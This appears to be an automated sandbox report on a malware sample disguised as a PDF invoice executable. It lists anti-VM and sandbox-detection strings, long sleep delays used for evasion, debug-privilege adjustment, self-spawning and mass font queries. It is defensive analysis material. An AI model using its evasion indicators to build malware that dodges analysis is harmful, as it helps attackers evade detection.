Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000000.00000002.235301021.0000000002F31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 3476, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Window / User API: threadDelayed 954

Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe TID: 5464	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe TID: 4084	Thread sleep time: -41500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe TID: 5524	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe TID: 4072	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe TID: 4072	Thread sleep time: -3540000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Code function: 1_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

1_2_00403D74

Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: l%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Binary or memory string: l"SOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Code function: 1_2_0040317B mov eax, dword ptr fs:[00000030h]

1_2_0040317B

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Code function: 1_2_00402B7C GetProcessHeap,RtlAllocateHeap,

1_2_00402B7C

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Process created: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe {path}

Jump to behavior

Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000001.00000002.503468124.00000000018B0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000001.00000002.503468124.00000000018B0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000001.00000002.503468124.00000000018B0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000001.00000002.503468124.00000000018B0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
